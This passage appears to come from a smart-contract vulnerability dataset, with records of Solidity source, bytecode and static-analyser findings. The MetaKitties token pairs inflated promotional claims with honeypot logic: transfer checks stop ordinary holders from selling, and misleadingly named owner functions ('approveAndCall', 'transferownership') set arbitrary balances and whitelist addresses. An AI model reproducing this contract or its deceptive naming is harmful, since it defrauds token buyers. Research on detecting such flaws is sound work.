target address, this needs assembly length := extcodesize(_addr) } if(length>0) { return true; }else { return false; } } } abstract contract ERC223ReceivingContract{ function tokenFallback(address _from, uint _value, bytes calldata _data) external virtual; }
0x6080604052600436106100fe5760003560e01c80637eb2c44111610095578063c1eb5ddd11610064578063c1eb5ddd1461033d578063c5bf827014610352578063dffb2d4e14610367578063e4b2acfe1461039a578063f4396e2a146103af576100fe565b80637eb2c4411461026c57806384ca06071461028157806385f4d25414610296578063c0ee0b8a146102ab576100fe565b80633a9d73bc116100d15780633a9d73bc146101f85780633ccfd60b1461022b578063428109f4146102425780637e03634014610257576100fe565b8063049939f3146101035780631622dbe41461014a578063180c06e51461019457806335504bde146101e3575b600080fd5b34801561010f57600080fd5b506101366004803603602081101561012657600080fd5b50356001600160a01b03166103e2565b604080519115158252519081900360200190f35b6101826004803603608081101561016057600080fd5b506001600160a01b0381351690602081013590604081013590606001356103f7565b60408051918252519081900360200190f35b3480156101a057600080fd5b506101c7600480360360208110156101b757600080fd5b50356001600160a01b0316610c25565b604080516001600160a01b039092168252519081900360200190f35b3480156101ef57600080fd5b506101c7610c40565b34801561020457600080fd5b506101826004803603602081101561021b57600080fd5b50356001600160a01b0316610c4f565b34801561023757600080fd5b50610240610c61565b005b34801561024e57600080fd5b506101c7610d69565b34801561026357600080fd5b506101c7610d78565b34801561027857600080fd5b506101c7610d87565b34801561028d57600080fd5b50610182610d96565b3480156102a257600080fd5b50610182610d9c565b3480156102b757600080fd5b50610240600480360360608110156102ce57600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156102fe57600080fd5b82018360208201111561031057600080fd5b8035906020019184600183028401116401000000008311171561033257600080fd5b509092509050610da2565b34801561034957600080fd5b506101c76111ba565b34801561035e57600080fd5b506101826111c9565b34801561037357600080fd5b506101826004803603602081101561038a57600080fd5b50356001600160a01b03166111cf565b3480156103a657600080fd5b506101c76111e1565b3480156103bb57600080fd5b50610182600480360360208110156103d257600080fd5b50356001600160a01b03166111f0565b600b6020526000908152604090205460ff1681565b336000818152600b602052604081205490919060ff16610495576001600160a01b0386166000908152600b602052604090205460ff1615610465576001600160a01b038181166000908152600a6020526040902080546001600160a01b031916918816919091179055610495565b6003546001600160a01b038281166000908152600a6020526040902080546001600160a01b031916919092161790555b670de0b6b3a76400008511156104b157670de0b6b3a764000094505b670de0b6b3a76400008411156104cd57670de0b6b3a764000093505b670de0b6b3a76400008311156104e957670de0b6b3a764000092505b60408051600480825260a0820190925260609160208201608080368337019050509050606460033402048160008151811061052057fe5b6020908102919091010152606460023402048160018151811061053f57fe5b6020908102919091010152606434048160028151811061055b57fe5b60209081029190910101526103e860063402048160038151811061057b57fe5b60200260200101818152505060008160038151811061059657fe5b6020026020010151826002815181106105ab57fe5b6020026020010151836001815181106105c057fe5b6020026020010151846000815181106105d557fe5b6020026020010151340303030390506000600a6000856001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b0316905061062a846111f0565b610633826111f0565b1115610677578260008151811061064657fe5b6020908102919091018101516001600160a01b0383166000908152600c909252604090912080549091019055610722565b6106948360008151811061068757fe5b6020026020010151611273565b6003546001600160a01b038581166000908152600a602090815260409182902054825194841685529092169183019190915280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16003546001600160a01b038581166000908152600a6020526040902080546001600160a01b031916919092161790555b6001600160a01b038082166000908152600a602052604090205416610746856111f0565b61074f826111f0565b1115610793578360018151811061076257fe5b6020908102919091018101516001600160a01b0383166000908152600c909252604090912080549091019055610829565b6107a38460018151811061068757fe5b6001600160a01b038083166000908152600a6020908152604091829020548251848a16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600a6020526040902080546001600160a01b0319169187169190911790555b6001600160a01b038082166000908152600a60205260409020541661084d866111f0565b610856826111f0565b111561089a578460028151811061086957fe5b6020908102919091018101516001600160a01b0383166000908152600c909252604090912080549091019055610930565b6108aa8560028151811061068757fe5b6001600160a01b038083166000908152600a6020908152604091829020548251848b16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600a6020526040902080546001600160a01b0319169188169190911790555b8460038151811061093d57fe5b6020026020010151600c6000600560009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020016000206000828254019250508190555060008060009054906101000a90046001600160a01b03166001600160a01b0316631622dbe486898e8e8e6040518663ffffffff1660e01b815260040180856001600160a01b03166001600160a01b031681526020018481526020018381526020018281526020019450505050506020604051808303818588803b158015610a1257600080fd5b505af1158015610a26573d6000803e3d6000fd5b50505050506040513d6020811015610a3d57600080fd5b50516003549091506001600160a01b03888116911614610b5057610a60876111f0565b60045411610ae557600380546001600160a01b0319166001600160a01b038916179055610a8c876111f0565b6004819055600354604080516001600160a01b03808c16825290921660208301528181019290925290517fe64225e0e86b93cbd64a96e476163519fe65be29879338a66adcc08159edc2b39181900360600190a1610b4b565b6000610af0886111f0565b90508015610b4957600480548290039055600354604080516001600160a01b0390921682526020820183905280517f897241f94fca7111ad46405593b0dbbf1537decd61df50421a1f3834d0553a209281900390910190a15b505b610b81565b610b59876111f0565b600454108015610b6f575066038d7ea4c6800034115b15610b8157610b7d876111f0565b6004555b6000600254118015610b99575066038d7ea4c6800034115b15610c165760028054600019019055600154604080516340c10f1960e01b81526001600160a01b038a8116600483015260248201859052915191909216916340c10f1991604480830192600092919082900301818387803b158015610bfd57600080fd5b505af1158015610c11573d6000803e3d6000fd5b505050505b9b9a5050505050505050505050565b600a602052600090815260409020546001600160a01b031681565b6000546001600160a01b031681565b600d6020526000908152604090205481565b336000818152600c602052604090205480156100fe576001600160a01b0382166000818152600c60205260408082208290555190919083908381818185875af1925050503d8060008114610cd1576040519150601f19603f3d011682016040523d82523d6000602084013e610cd6565b606091505b5050604080516001600160a01b03861681526020810185905281519293507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929081900390910190a180610d64576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b505050565b6008546001600160a01b031681565b6003546001600160a01b031681565b6005546001600160a01b031681565b60025481565b60065481565b6008546001600160a01b031633141561117d5760025430906110e05760028054662386f26fc100008604019055600580546001600160a01b0319166001600160a01b0387161790556006805406611091576000805460408051632428fc8d60e11b81526001600160a01b03858116600483015291519190921691634851f91a916024808301926020929190829003018186803b158015610e4157600080fd5b505afa158015610e55573d6000803e3d6000fd5b505050506040513d6020811015610e6b57600080fd5b505190508015610f8d576000805460408051632e1a7d4d60e01b81526004810185905290516001600160a01b0390921692632e1a7d4d926024808401936020939083900390910190829087803b158015610ec457600080fd5b505af1158015610ed8573d6000803e3d6000fd5b505050506040513d6020811015610eee57600080fd5b50506007546040516000916001600160a01b03169083908381818185875af1925050503d8060008114610f3d576040519150601f19603f3d011682016040523d82523d6000602084013e610f42565b606091505b5050905080610f8b576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b505b600854600054604080516370a0823160e01b81526001600160a01b03868116600483015291519382169363a9059cbb939092169184916370a08231916024808301926020929190829003018186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d602081101561101257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561106357600080fd5b505af1158015611077573d6000803e3d6000fd5b505050506040513d602081101561108d57600080fd5b5050505b60068054600101905560025460408051918252516001600160a01b038716917f9bddd43f854dbd4541f36bc4103eaee6579d2d3a16e59dbe02cc4485ff7901bb919081900360200190a2611177565b6001600160a01b038086166000908152600d602090815260408083208054890190556008548354825163a9059cbb60e01b81529086166004820152602481018a9052915194169363a9059cbb93604480840194938390030190829087803b15801561114a57600080fd5b505af115801561115e573d6000803e3d6000fd5b505050506040513d602081101561117457600080fd5b50505b506111b4565b6040805162461bcd60e51b81526020600482015260076024820152661b9bc81dd85b9d60ca1b604482015290519081900360640190fd5b50505050565b6007546001600160a01b031681565b60045481565b600c6020526000908152604090205481565b6001546001600160a01b031681565b600854604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561124157600080fd5b505afa158015611255573d6000803e3d6000fd5b505050506040513d602081101561126b57600080fd5b505192915050565b600580546001600160a01b039081166000908152600c602090815260408083208054600288049081019091556003805486168552938290208054918803909101905593549154845192841683529092169181019190915281517f439e3731a0d79b58350bae88b0f351992bd8faa8868a50e1b3220c4abd006fd1929181900390910190a15056fea2646970667358221220ee387854534294e6d2680ca2664c9fef83a945a669fc88c9823a391c4bd899a164736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,414
0x44d2d740a5e346a66dd7c7e6919814a44441a64c
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ /* META KITTIES An ERC20 meme token that fosters and promotes healthy and widespread usage and decentralization of the project through a specific reward linked to users transactions involving decentralized wallets. At the same time, 2% of the total amount is burned from each transaction, which makes the project deflationary. Meta KittiesSwap Decentralized exchange that features custom functionality and allows holders to trade among themselves and without any centralized point of failure any meme token (Doge, SHIB, Floki, BabyDoge) for another. Kitties Pools With the help of these pools, our users can hold META KITTIES and receive passive income for this in the form of other meme tokens. NFT Marketplace, where users can buy unique NFTs and earn real money with them in our games. The better and more unique the NFT, the higher your monthly income. Wallet tracker where users can track their prizes and rewards out of META KITTIES usage, current token valuations, wallet balance, and more. This wallet is built into all our Marketplaces and games. A merchandise store run by a ownerless, stockholderless non-profit organization to allow META KITTIES holders to support meme tokens fun in the real world, with any and all proceeds supporting the META KITTIES project growth, maintenance and future features. The founders of the project already at the start agreed with 4,000 merchants from Estonia and Germany. Dog Games. Play dog farm or dog city. Our games use NFTs and meme tokens that you can earn. Moreover, the project is developing a whole metaverse for meme tokens. Launchpad. Our users will be able to purchase startup meme tokens at the best prices. Each startup passes our audit and META KITTIES guarantees its users safety. Meta KittiesSwap Meta KittiesSwap Decentralized exchange that features custom functionality and allows holders to trade among themselves and without any centralized point of failure any meme token (Doge, SHIB, Floki, BabyDoge) for another. Meme tokens have become the most popular in the cryptocurrency market. We decided to create the first thematic decentralized exchange for millions of meme token holders, as well as games in which they can earn these tokens, as well as unique gaming NFTs. Cryptocurrency should be anonymous and accessible to everyone. You can not restrict the exchange, transactions, trade to any users. In 2022, we have witnessed how exchanges block the accounts of their users for political reasons. This is unacceptable in our industry. This goes against the idea of Bitcoin founder Satoshi Nakamoto. META KITTIES aims to solve these problems. We are building a decentralized trading platform, Meta KittiesSwap, where only users own their assets. We are also creating a decentralized Marketplace, which is not affected by sanctions and political conflicts between states. If a citizen of any country cannot buy any goods for dollars or euros, then he can easily do this with the help of META KITTIES tokens. NFTs have become very popular. We create NFTs with real-life applications in our games and our marketplace. Our users will be able to receive income in games, discounts in the marketplace. Receiving income from these NFTs, the MetaKittiesproject will be able to buy tokens from the market and actively develop it. Welcome to the World of Kitties, where you can play, trade, farm and get unique NFTs META KITTIES was created in February 2022 with the goal of being a decentralized and deflationary meme project with true purpose. Our mission is to bring popular cryptocurrency concepts to the mainstream. Unlike older, comparable projects, META KITTIES introduces holders to next-gen concepts such as participation rewards, NFTs, decentralized exchanges, and more. Meme tokens have become the most popular in the cryptocurrency market. We decided to create the first thematic decentralized exchange for millions of meme token holders, as well as games in which they can earn these tokens, as well as unique gaming NFTs. The META KITTIES project includes: META KITTIES An ERC20 meme token that fosters and promotes healthy and widespread usage and decentralization of the project through a specific reward linked to user’s transactions involving decentralized wallets. At the same time, 2% of the total amount is burned from each transaction, which makes the project deflationary. Meta KittiesSwap Decentralized exchange that features custom functionality and allows holders to trade among themselves and without any centralized point of failure any meme token (Doge, SHIB, Floki, BabyDoge) for another. Kitties Pools With the help of these pools, our users can hold META KITTIES and receive passive income for this in the form of other meme tokens. NFT Marketplace, where users can buy unique NFTs and earn real money with them in our games. The better and more unique the NFT, the higher your monthly income. Wallet tracker where users can track their prizes and rewards out of META KITTIES usage, current token valuations, wallet balance, and more. This wallet is built into all our Marketplaces and games. A merchandise store run by a ownerless, stockholderless non-profit organization to allow META KITTIES holders to support meme tokens fun in the real world, with any and all proceeds supporting the META KITTIES project growth, maintenance and future features. The founders of the project already at the start agreed with 4,000 merchants from Estonia and Germany. Dog Games. Play dog farm or dog city. Our games use NFTs and meme tokens that you can earn. Moreover, the project is developing a whole metaverse for meme tokens. Launchpad. Our users will be able to purchase startup meme tokens at the best prices. Each startup passes our audit and META KITTIES guarantees its users safety. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MetaKitties { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820c0e3d3b7afc23070dd8ce7fe9b742683479c1833a903c4ce794b8e8f5be6ba9e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,415
0x3caf66b0888b9c951dbf446946f285e4c82d8ccb
/** *Submitted for verification at Etherscan.io on 2021-12-07 */ /* _ _ ___ / \ _ __ ___ __ _| |_ ___ _ __ __ _ ___ _ _ |_ _|_ __ _ _ / _ \ | '_ ` _ \ / _` | __/ _ \ '__/ _` / __| | | | | || '_ \| | | | / ___ \| | | | | | (_| | || __/ | | (_| \__ \ |_| | | || | | | |_| | /_/ \_\_| |_| |_|\__,_|\__\___|_| \__,_|___/\__,_| |___|_| |_|\__,_| Amaterasu Inu $OKAMI Ōkami Amaterasu the sun goddess has bestothed on the world an arcane son Amaterasu Inu $OKAMI and with the might and power of all the Inu's will lead the way in creating a decentralised reserve currency for all gods. No team tokens, no presale 100% community driven. Marketing driven by the community for the community. Taxes to be used for development of Ōkami Amaterasu's vision of a decentralised god currency. - Telegram: https://t.me/AmaterasuInu */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AmaterasuInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) 